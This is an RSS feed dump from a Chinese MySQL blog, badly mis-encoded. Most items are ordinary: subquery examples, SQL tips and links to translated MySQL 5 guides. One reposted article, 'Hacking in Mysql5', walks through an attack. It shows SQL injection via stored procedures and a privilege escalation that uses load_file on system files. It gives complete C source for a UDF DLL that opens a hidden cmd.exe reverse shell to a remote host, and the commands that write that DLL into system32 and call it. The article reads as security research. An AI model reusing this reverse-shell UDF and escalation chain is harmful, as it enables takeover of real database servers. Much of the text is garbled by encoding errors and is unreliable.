??xml version="1.0" encoding="utf-8" standalone="yes"?>625成人欧美午夜电影,国产精品毛片一区二区在线看,老司机aⅴ在线精品导航http://www.aygfsteel.com/chenpengyi/category/2084.htmlMySQL资料QJava技术,理思想Q博弈论QAjaxQXP极限~程Q物知?/description>zh-cnTue, 27 Feb 2007 12:25:36 GMTTue, 27 Feb 2007 12:25:36 GMT60MySQL 新特性之事g中文教程http://www.aygfsteel.com/chenpengyi/articles/77933.html陈朋?/dc:creator>陈朋?/author>Sun, 29 Oct 2006 14:07:00 GMThttp://www.aygfsteel.com/chenpengyi/articles/77933.htmlhttp://www.aygfsteel.com/chenpengyi/comments/77933.htmlhttp://www.aygfsteel.com/chenpengyi/articles/77933.html#Feedback1http://www.aygfsteel.com/chenpengyi/comments/commentRss/77933.htmlhttp://www.aygfsteel.com/chenpengyi/services/trackbacks/77933.htmlhttp://www.aygfsteel.com/Files/chenpengyi/MySQL-Events-CN.rar
如果需要英文的请到MySQL知识库中下蝲?img src ="http://www.aygfsteel.com/chenpengyi/aggbug/77933.html" width = "1" height = "1" />

]]>
如何黑MySQL5数据库?Q来自:http://superhei.blogbus.comQ?/title><link>http://www.aygfsteel.com/chenpengyi/articles/31557.html</link><dc:creator>陈朋?/dc:creator><author>陈朋?/author><pubDate>Sun, 19 Feb 2006 13:53:00 GMT</pubDate><guid>http://www.aygfsteel.com/chenpengyi/articles/31557.html</guid><wfw:comment>http://www.aygfsteel.com/chenpengyi/comments/31557.html</wfw:comment><comments>http://www.aygfsteel.com/chenpengyi/articles/31557.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/chenpengyi/comments/commentRss/31557.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/chenpengyi/services/trackbacks/31557.html</trackback:ping><description><![CDATA[<FONT style="BACKGROUND-COLOR: #ffffff" size=2>Hacking in Mysql5<BR><BR>AuthorQSuperHei_[At]_ph4nt0m.org<BR>BlogQ?/FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://superhei.blogbus.com/</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>TeamQ?/FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://www.ph4nt0m.org</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>Data: 2006-01-29<BR><BR>     Mysql5增加很多新的功能Q开始支持:存储q程、触发器、视图、信息架构视囄新特。可以说q些都是发展的必Ӟ但是新的东西的出来,必定也会带来新的安全问题Q如Mysql4开始支持union查询、子查询。这直接Dmysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢Q下面我l大家介l下mysql5在安全方面的特点Q?BR><BR><BR>一、password authentication<BR><BR>mysql5的password()和mysql4.1一P采用的基于SHA1?1位hashQ?BR><BR>mysql> select password('mypass');<BR>+-------------------------------------------+<BR>| password('mypass')                        |<BR>+-------------------------------------------+<BR>| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |<BR>+-------------------------------------------+<BR>1 row in set (0.00 sec)<BR><BR>在mysql4.1以前的password hashes是基?6位md5Q?BR><BR>mysql> SELECT PASSWORD('mypass');<BR>+--------------------+<BR>| PASSWORD('mypass') |<BR>+--------------------+<BR>| 6f8c114b58f2ce9e   |<BR>+--------------------+<BR><BR>当用低版本的Clientq接Ӟ回出现错误:Client does not support authentication protocolQؓ了解册个问题,mysql5提供了一个old_password(),q当于mysql4.1以前的的password():<BR><BR>mysql> select old_password('mypass');<BR>+------------------------+<BR>| old_password('mypass') |<BR>+------------------------+<BR>| 6f8c114b58f2ce9e       |<BR>+------------------------+<BR>1 row in set (0.09 sec)<BR><BR>二、数据字?information_schema)<BR><BR>和mssql、oracle、db2{数据库一Pmysql5提供了一个系l数据库Qinformation_schema<BR>mysql> use information_schema;<BR>Database changed<BR>mysql> show tables;<BR>+---------------------------------------+<BR>| Tables_in_information_schema          |<BR>+---------------------------------------+<BR>| CHARACTER_SETS                        |<BR>| COLLATIONS                            |<BR>| COLLATION_CHARACTER_SET_APPLICABILITY |<BR>| COLUMNS                               |<BR>| COLUMN_PRIVILEGES                     |<BR>| KEY_COLUMN_USAGE                      |<BR>| ROUTINES                              |<BR>| SCHEMATA                              |<BR>| SCHEMA_PRIVILEGES                     |<BR>| STATISTICS                            |<BR>| TABLES                                |<BR>| TABLE_CONSTRAINTS                     |<BR>| TABLE_PRIVILEGES                      |<BR>| TRIGGERS                              |<BR>| VIEWS                                 |<BR>| USER_PRIVILEGES                       |<BR>+---------------------------------------+<BR>16 rows in set (0.17 sec)<BR><BR>在这个数据库里我们可以得到很多信息,包括当前用户权限Q?BR>mysql> select * from information_schema.USER_PRIVILEGES;<BR>+-----------+---------------+----------------+--------------+<BR>| GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |<BR>+-----------+---------------+----------------+--------------+<BR>| 'KK1'@'%' | NULL          | USAGE          | NO           |<BR>+-----------+---------------+----------------+--------------+<BR>1 row in set (0.02 sec)<BR><BR>当前用户权限下可以访问的数据库,表,列名Q这个在sql注射中,D直接暴区数据库,表列名,再也不要‘暴力’咯Q:<BR><BR>mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS<BR>TICS;<BR>+--------------+------------+-------------+<BR>| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |<BR>+--------------+------------+-------------+<BR>| in           | article    | articleid   |<BR>| in           | user       | userid      |<BR>+--------------+------------+-------------+<BR>2 rows in set (0.02 sec)<BR><BR>q可以得到当前用h限下的VIEWSQROUTINES{,关于ROUTINES我们在下面的‘存储过E’里详细介绍?BR><BR>[ps:注意是‘当前用h限’如果是rootQ那么太可以得到所有的数据库名UC及表列名{等]<BR><BR><BR>三、存储过E?Stored Procedures)<BR><BR>'存储q程'的用是mysql5的一个闪光点Q在带来方便的同Ӟ它也带来了新的安全隐(zhn):如sql注射Q用h限提升等{?BR><BR>D:\mysql5\bin>mysql -uroot -p<BR>Enter password: ******<BR>Welcome to the MySQL monitor.  Commands end with ; or \g.<BR>Your MySQL connection id is 4 to server version: 5.0.18<BR><BR>Type 'help;' or '\h' for help. Type '\c' to clear the buffer.<BR><BR>mysql> use in<BR>Database changed<BR>mysql> delimiter //<BR>mysql> CREATE PROCEDURE test(id INT)<BR>    -> BEGIN<BR>    ->   SELECT * FROM in.USER WHERE USERID=ID;<BR>    -> END//<BR>Query OK, 0 rows affected (0.08 sec)<BR><BR>mysql> delimiter ;<BR><BR>mysql> call test(1);<BR>+--------+----------+----------+<BR>| userid | username | password |<BR>+--------+----------+----------+<BR>|      1 | angel    | mypass   |<BR>+--------+----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.00 sec)<BR><BR>上面我们使用root在数据库in里创Z一个名为test的存储过E?BR><BR>a、SQL Injection<BR><BR>mysql> call test(1 and 1=1);<BR>+--------+----------+----------+<BR>| userid | username | password |<BR>+--------+----------+----------+<BR>|      1 | angel    | mypass   |<BR>+--------+----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.01 sec)<BR><BR>mysql> call test(1 and 1=2);<BR>Empty set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.00 sec)<BR><BR>b、跨权限<BR>存储q程是承创的权限的,如果存储q程是root创徏的,当其他普通用户用这个存储过E时Q导致跨权限dQ?BR><BR>mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE<BR>    -> ON `IN`.*<BR>    -> TO 'KK1'@'%'<BR>    -> IDENTIFIED BY 'OBSCURE';<BR>Query OK, 0 rows affected (0.03 sec)<BR><BR>上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限Q用KK1登陆Q?BR>D:\mysql5\bin>mysql -uKK1 -p<BR>Enter password: ******<BR>Welcome to the MySQL monitor.  Commands end with ; or \g.<BR>Your MySQL connection id is 5 to server version: 5.0.18<BR><BR>Type 'help;' or '\h' for help. Type '\c' to clear the buffer.<BR><BR>mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform<BR>ation_schema.ROUTINES;<BR>+----------------+--------------+----------------+--------------------+<BR>| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER        | ROUTINE_DEFINITION |<BR>+----------------+--------------+----------------+--------------------+<BR>| in             | test         | root@localhost |                    |<BR>| in             | tt           | root@localhost |                    |<BR>+----------------+--------------+----------------+--------------------+<BR>2 rows in set (0.01 sec)<BR><BR>我们可以得到KK1可以使用存储q程in.test 其创ؓroot@localhost。不qKK1没有权限得到ROUTINE_DEFINITION 是in.test的代码。下面看看跨权限Q?BR><BR>mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);<BR>+--------+----------+----------+<BR>| userid | username | password |<BR>+--------+----------+----------+<BR>|      1 | angel    | mypass   |<BR>+--------+----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.01 sec)<BR><BR>mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);<BR>Empty set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.00 sec)<BR><BR>没有file权限的KK1可以使用in.test使用load_file()Q我们还可以直接对mysql.userq行selectQ如果存储过E可以updataQinsert注射Q那么我们可以普通用L接通过注射来修改mysql.user里的数据?BR><BR>四、User-Defined Function <BR><BR>[psQ下面都是基于winpȝ]<BR><BR>mysql5的udf在格式和安全斚w做一些新的改变:<BR>1、格式要求更加严格[xxx_init()初始化函数]<BR>对于没有xxx_init()初始化函?在以前的版本是可以用的Q但是在mysql5下会出现Can't find function 'xxx_init' in library的错误,如:<BR><BR>mysql> create function ExitProcess returns integer soname 'kernel32';<BR>ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library<BR><BR>下面l出的代码是好友云舒写的Q符合mysql5的udf格式要求可以在mysql5下用:<BR><BR>/******************************************************************************* <BR>* File:   MySQL_Shell.cpp <BR>* Author: 云舒(wustyunshu at hotmail dot com) <BR>* Date:    2005-12-12 <BR>*******************************************************************************/ <BR>#include <stdio.h> <BR>#include <winsock2.h> <BR>#include <windows.h> <BR><BR>#define MAKE_DLL                /* Build dll here */ <BR><BR>#include "MySQL_Shell.h" <BR><BR>#pragma comment( lib, "ws2_32" ) <BR><BR>#define BUFFER_SIZE    1024 <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//函数原型 <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>BOOL StartWith( char *, char * ); <BR>void LogMsg( char * ); <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//MySQL模块初始化函?<BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>LIB    my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message ) <BR>{ <BR>    if ( args->arg_count != 2 ) <BR>    { <BR>        strcpy( message, "Shell() requires two arguments" ); <BR>        return 1; <BR>    } <BR><BR>    if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) ) <BR>    { <BR>        strcpy( message, "Shell() requires two string arguent" ); <BR>        return 1; <BR>    } <BR><BR>    return 0; <BR>} <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//MySQL模块d能函敎ͼ反向q接提供shell <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error ) <BR>{ <BR>    SOCKET            sock; <BR>    SOCKADDR_IN        sin; <BR>    int                ret; <BR>     <BR>    // Create socket <BR>    sock = socket( AF_INET, SOCK_STREAM, 0 ); <BR>    if ( sock == INVALID_SOCKET ) <BR>    { <BR>        strcpy( error, "Create socket error" ); <BR><BR>        return -1; <BR>    } <BR><BR>    sin.sin_family = AF_INET; <BR>    sin.sin_port = htons( atoi(args->args[1]) ); <BR>    sin.sin_addr.s_addr = inet_addr( args->args[0] ); <BR>     <BR>    //connect to remote server <BR>    ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) ); <BR>    if( ret == SOCKET_ERROR ) <BR>    { <BR>        strcpy( error, "Connect error" ); <BR><BR>        return -1; <BR>    } <BR><BR>    SECURITY_ATTRIBUTES    sa; <BR>     <BR>    sa.nLength = sizeof( sa ); <BR>    sa.lpSecurityDescriptor = 0; <BR>    sa.bInheritHandle = TRUE; <BR>     <BR>    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; <BR><BR>    ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 ); <BR>    ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 ); <BR>         <BR>    STARTUPINFO    si; <BR>    ZeroMemory( &si, sizeof(si) ); <BR><BR>    GetStartupInfo( &si ); <BR>     <BR>    si.cb = sizeof( si ); <BR>    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <BR>    si.wShowWindow = SW_HIDE; <BR>    si.hStdInput = hReadPipe2; <BR>    si.hStdOutput = si.hStdError = hWritePipe1; <BR>     <BR>    PROCESS_INFORMATION    processInfo; <BR>     <BR>    char    cmdLine[] = "cmd.exe"; <BR><BR>    ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) ); <BR>    ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo); <BR>     <BR>    char            buff[BUFFER_SIZE] = { 0 };             <BR>    unsigned long    bytesRead = 0; <BR>    int             i = 0; <BR>     <BR>    while( TRUE ) <BR>    { <BR>        memset( buff, 0, BUFFER_SIZE ); <BR>         <BR>          ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 ); <BR>           <BR>          for(i = 0; i < 5 && bytesRead == 0; i++) <BR>        { <BR>            Sleep(100); <BR>            ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL ); <BR>        } <BR>         <BR>          if( bytesRead ) <BR>        { <BR>               ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 ); <BR>               if( !ret ) break; <BR>   <BR>            ret = send( sock, buff, bytesRead, 0 ); <BR>               if( ret <= 0 ) break; <BR>          } <BR>        else <BR>        { <BR>               bytesRead = recv( sock, buff, BUFFER_SIZE, 0 ); <BR>                <BR>               if( bytesRead <= 0 ) break; <BR>             <BR>            if( StartWith( buff , "exit" ) == TRUE ) break; <BR><BR>               ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 ); <BR>               if( !ret ) break; <BR>           } <BR>    } <BR>     <BR>    TerminateProcess( processInfo.hProcess, 0 ); <BR><BR>    CloseHandle( hReadPipe1 ); <BR>    CloseHandle( hReadPipe2 ); <BR>    CloseHandle( hWritePipe1 ); <BR>    CloseHandle( hWritePipe2 ); <BR>     <BR>    closesocket( sock ); <BR><BR>    return 0; <BR>}     <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//判断字符串是否以另一个字W串开?<BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>BOOL StartWith( char *buf1, char *buf2 ) <BR>{ <BR>    int len = strlen(buf2); <BR><BR>    if( memcmp( buf1,buf2,len ) == 0 ) <BR>    { <BR>        return TRUE; <BR>    } <BR>    return FALSE; <BR>} <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//记录日志信息Q调试用 <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>void LogMsg( char *msg ) <BR>{ <BR>    FILE    *fp; <BR><BR>    fp = fopen( "C:\mysql.txt", "a+" ); <BR><BR>    fputs( msg, fp ); <BR><BR>    fclose( fp ); <BR>} <BR><BR><BR>/******************************************************************************* <BR>* File:   MySQL_Shell.h <BR>* Author: 云舒(wustyunshu at hotmail dot com) <BR>* Date:    2005-12-12 <BR>*******************************************************************************/ <BR><BR>#ifdef MAKE_DLL <BR>    #define LIB extern "C" __declspec(dllexport) <BR>#else <BR>    #define LIB extern "C" __declspec(dllimport) <BR>#endif <BR><BR>#define MYSQL_ERRMSG_SIZE    512                /* Max buffer size */ <BR><BR>typedef char my_bool; <BR><BR>enum Item_result <BR>{ <BR>    STRING_RESULT,REAL_RESULT,INT_RESULT <BR>}; <BR><BR>typedef struct st_udf_args <BR>{ <BR>    unsigned int        arg_count;           /* Number of arguments */ <BR>    enum Item_result    *arg_type;           /* Pointer to item_results */ <BR>    char                **args;                 /* Pointer to argument */ <BR>    unsigned long        *lengths;            /* Length of string arguments */ <BR>    char                *maybe_null;         /* Set to 1 for all maybe_null args */ <BR>} UDF_ARGS; <BR><BR><BR>typedef struct st_udf_init <BR>{ <BR>    my_bool                maybe_null;          /* 1 if function can return NULL */ <BR>    unsigned int        decimals;            /* for real functions */ <BR>    unsigned int        max_length;          /* For string functions */ <BR>    char                *ptr;                /* free pointer for function data */ <BR>    char                const_item;          /* 0 if result is independent of arguments */ <BR>} UDF_INIT; <BR><BR>LIB    my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * ); <BR><BR>LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * ); <BR><BR><BR>2、mysql5限制了udf对应的文件dll文g只可以放在system32目录下?BR>对于一般低权限的系l用h没有对system32目录写权限的Q在q样的情况下我们可以使用into dumpfile把dll文g攑ֈsystem32来突_具体如下Q?BR>mysql> use mysql;<BR>Database changed<BR>mysql> create table heige(line blob);<BR>Query OK, 0 rows affected (0.50 sec)<BR><BR>mysql> insert into heige values(load_file('c:/udf.dll'));<BR>Query OK, 1 row affected (0.08 sec)<BR><BR>mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';<BR>Query OK, 1 row affected (0.18 sec)<BR><BR>mysql> create function shell returns integer soname 'heige.dll';<BR>Query OK, 0 rows affected (0.07 sec)<BR><BR>mysql> select * from mysql.func;<BR>+-------+-----+-----------+----------+<BR>| name  | ret | dl        | type     |<BR>+-------+-----+-----------+----------+<BR>| shell |   2 | heige.dll | function |<BR>+-------+-----+-----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>mysql> select shell('127.0.0.1','1234');<BR>+---------------------------+<BR>| shell('127.0.0.1','1234') |<BR>+---------------------------+<BR>|                      NULL |<BR>+---------------------------+<BR>1 row in set (0.97 sec)<BR><BR>五、参?BR>《MySQL 5.0 Reference Manual?</FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://dev.mysql.com/doc/refman/5.0/en/</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>《Hackproofing MySQL?nbsp;        </FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://www.ngssoftware.com/papers/HackproofingMySQL.pdf</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>《给mysql加个自定义函敎ͼwindowsq_Q?/FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://www.icylife.net/yunshu/show.php?id=244</FONT></A><BR><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>六、感?BR>感谢云舒、TomyChen、Mix ...所有pst的兄弟们?BR><BR>谢谢阅读! </FONT><img src ="http://www.aygfsteel.com/chenpengyi/aggbug/31557.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/chenpengyi/" target="_blank">陈朋?/a> 2006-02-19 21:53 <a href="http://www.aygfsteel.com/chenpengyi/articles/31557.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于MySQL嵌套查询的问题(原创于BlogJavaQchenpengyiQ?/title><link>http://www.aygfsteel.com/chenpengyi/articles/14007.html</link><dc:creator>陈朋?/dc:creator><author>陈朋?/author><pubDate>Sun, 25 Sep 2005 11:36:00 GMT</pubDate><guid>http://www.aygfsteel.com/chenpengyi/articles/14007.html</guid><wfw:comment>http://www.aygfsteel.com/chenpengyi/comments/14007.html</wfw:comment><comments>http://www.aygfsteel.com/chenpengyi/articles/14007.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.aygfsteel.com/chenpengyi/comments/commentRss/14007.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/chenpengyi/services/trackbacks/14007.html</trackback:ping><description><![CDATA[<P><FONT size=2>最q在MySQL上做了点工作Q发现很多h都在询问MySQL嵌套查询的问题,许多人都觉得MySQL不支持嵌套查询,其实MySQl?.11版后已经完全支持嵌套查询了,那么下面我D些简单的嵌套查询的例子吧Q源E序来自MySQL User ManualQ:<BR><BR>1. SELECT语句的子查询:<BR>语法:     SELECT ... FROM (subquery) AS name ...<BR><BR>先创Z个表:<BR>CREATE TABLE t1 (s1 INT, s2 CHAR(5), s3 FLOAT);<BR>INSERT INTO t1 VALUES (1,'1',1.0);<BR>INSERT INTO t1 VALUES (2,'2',2.0);<BR><BR>我们可以进行以下的嵌套查询?<BR>SELECT sb1,sb2,sb3<BR>       FROM (SELECT s1 AS sb1, s2 AS sb2, s3*2 AS sb3 FROM t1) AS sb<BR>       WHERE sb1 > 1;<BR><BR>l果是: </FONT><FONT size=2><FONT color=#000000>2<CODE>, '2', 4.0</CODE>. <BR></FONT><BR>我们知道下面语句是不会得到正结果的Q因为对l过Group by排序的集合进行求均值是不能得到正确{案的:<BR>SELECT AVG(SUM(column1)) FROM t1 GROUP BY column1<BR><BR>所以我们可以通过下面的嵌套查询实现同L效果Q?BR>SELECT AVG(sum_column1)<BR>       FROM (SELECT SUM(column1) AS sum_column1<BR>             FROM t1 GROUP BY column1) AS t1;<BR><BR>2.行的子查询(Row SubqueryQ:<BR>看下面的例子Q?BR>SELECT * FROM t1 WHERE ROW(1,2) = (SELECT column1, column2 FROM t2);<BR>q个查询是返回column1{于column2的结果行。Row函数中的1?相当于构造参数。想必Blogjava上的同志对这些应该比较清楚,也不去详l介l了?BR></FONT><BR><FONT size=2>3.使用Exist和Not Exist参数<BR>q里的Exist和Not Exist用途及用法和在其他没有什么大的区?我就单D几个范例好了:<BR><BR>范例一:      SELECT DISTINCT store_type FROM Stores<BR>                    WHERE EXISTS (SELECT * FROM Cities_Stores<BR>                                  WHERE Cities_Stores.store_type = Stores.store_type);<BR>范例?   SELECT DISTINCT store_type FROM Stores<BR>                       WHERE NOT EXISTS (SELECT * FROM Cities_Stores<BR>                                   WHERE Cities_Stores.store_type = Stores.store_type);<BR>范例?  q个例子中嵌套用了Not Exist语法Q稍微注意一下:<BR>               SELECT DISTINCT store_type FROM Stores S1<BR>                    WHERE NOT EXISTS (<BR>                               SELECT * FROM Cities WHERE NOT EXISTS (<BR>                                       SELECT * FROM Cities_Stores<BR>                                                 WHERE Cities_Stores.city = Cities.city<BR>                                                         AND Cities_Stores.store_type = Stores.store_type));<BR><BR>4.条g兌关系查询Q?BR>解释hȝQ直接看例子吧:<BR>SELECT column1 FROM t1 AS x<BR>     WHERE x.column1 = (SELECT column1 FROM t2 AS x<BR>          WHERE x.column1 = (SELECT column1 FROM t3<BR>               WHERE x.column2 = t3.column1));<BR>跟其他数据库做法是一L?BR><BR>5.其他使用Ҏ(gu)和注意:<BR>除了上面q些q有很多很多Q不q就不去l讲了,因ؓq些跟别的数据库差不多,只是Zl大家一个参考,提提够了?BR><BR>         SELECT (SELECT s1 FROM t2) FROM t1;<BR>         SELECT (SELECT s2 FROM t1);<BR><BR>支持子查询的语法有:SELECTQINSERTQUPDATEQDELETEQSET和DO?BR><BR>子查询可以用Q何普通查询中使用的关键词Q如DINSTINCTQGROUP BYQLIMITQORDER BYQUNIONQALLQUNION ALL{。可以?lt;,>, <=, >=, =, <>q算W进行比较,也可以用ANY QIN和SOMEq行集合的匹配?BR><BR>转蝲h明出处:陈朋?<A href="http://www.aygfsteel.com/chenpengyi/chenpengyi">http://www.aygfsteel.com/chenpengyi</A></FONT></P><img src ="http://www.aygfsteel.com/chenpengyi/aggbug/14007.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/chenpengyi/" target="_blank">陈朋?/a> 2005-09-25 19:36 <a href="http://www.aygfsteel.com/chenpengyi/articles/14007.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL _֦语句Q确实牛Q)http://www.aygfsteel.com/chenpengyi/articles/7839.html陈朋?/dc:creator>陈朋?/author>Sat, 16 Jul 2005 16:02:00 GMThttp://www.aygfsteel.com/chenpengyi/articles/7839.htmlhttp://www.aygfsteel.com/chenpengyi/comments/7839.htmlhttp://www.aygfsteel.com/chenpengyi/articles/7839.html#Feedback7http://www.aygfsteel.com/chenpengyi/comments/commentRss/7839.htmlhttp://www.aygfsteel.com/chenpengyi/services/trackbacks/7839.html如何从一位菜鸟蜕变成为高手,灉|使用的SQL语句是必不可的。本文收集了部分比较l典Q常用的SQL语句供大家参考,希望对大家有所帮助?

  说明Q复制表(只复制结?源表名:a 新表名:b)  

  SQL: select * into b from a where 1<>1

  说明Q拷贝表(拯数据,源表名:a 目标表名Qb)  

  SQL: insert into b(a, b, c) select d,e,f from b;

  说明Q显C文章、提交h和最后回复时间  

  SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

  说明Q外q接查询(表名1Qa 表名2Qb)  

  SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

  说明Q日E安排提前五分钟提醒  

  SQL: select * from 日程安排 where datediff('minute',f开始时?getdate())>5  

  说明Q两张关联表Q删除主表中已经在副表中没有的信?

  SQL:   

  delete from info where not exists ( select * from infobz where info.infid=infobz.infid

  说明Q?-

  SQL:   

  SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE

   FROM TABLE1,

   (SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE

   FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND

   FROM TABLE2

   WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X,

   (SELECT NUM, UPD_DATE, STOCK_ONHAND

   FROM TABLE2

   WHERE TO_CHAR(UPD_DATE,'YYYY/MM') =

   TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') &brvbar;&brvbar; '/01','YYYY/MM/DD') - 1, 'YYYY/MM') Y,

   WHERE X.NUM = Y.NUM Q?Q?

   AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND B

  WHERE A.NUM = B.NUM

  说明Q?-

  SQL:   

  select * from studentinfo where not exists(select * from student where studentinfo.id=student.id) and pdU?'"&strdepartmentname&"' and 专业名称='"&strprofessionname&"' order by 性别,生源?高考Ll?

  说明Q?

  从数据库中去一q的各单位电(sh)话费l计(?sh)话费定额贺电(sh)化肥清单两个表来源Q?

  SQL:  

  SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '01', a.factration)) AS JAN,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV,

   SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC

  FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration

   FROM TELFEESTAND a, TELFEE b

   WHERE a.tel = b.telfax) a

  GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy')

  说明Q四表联查问题:  

  SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

  说明Q得到表中最的未用的ID?

  SQL: 

  SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID

   FROM Handle

   WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)


]]>
官方MySQL 5 新特?视图QViewsQ?译 下蝲Q?http://www.aygfsteel.com/chenpengyi/articles/7666.html陈朋?/dc:creator>陈朋?/author>Wed, 13 Jul 2005 15:56:00 GMThttp://www.aygfsteel.com/chenpengyi/articles/7666.htmlhttp://www.aygfsteel.com/chenpengyi/comments/7666.htmlhttp://www.aygfsteel.com/chenpengyi/articles/7666.html#Feedback20http://www.aygfsteel.com/chenpengyi/comments/commentRss/7666.htmlhttp://www.aygfsteel.com/chenpengyi/services/trackbacks/7666.html׃部分国庆时间休假的旉Q终于完成了。下面是中文版的下蝲地址Q?BR>
http://www.aygfsteel.com/Files/chenpengyi/MySQL-Views-Translation-CN.rar
希望大家转蝲时保留个人及出处信息Q否则视ZR权,呵呵?BR>
如果需要英文版的,可以C面地址下蝲Q?BR>http://dev.mysql.com/tech-resources/articles/mysql-views.pdf



]]>
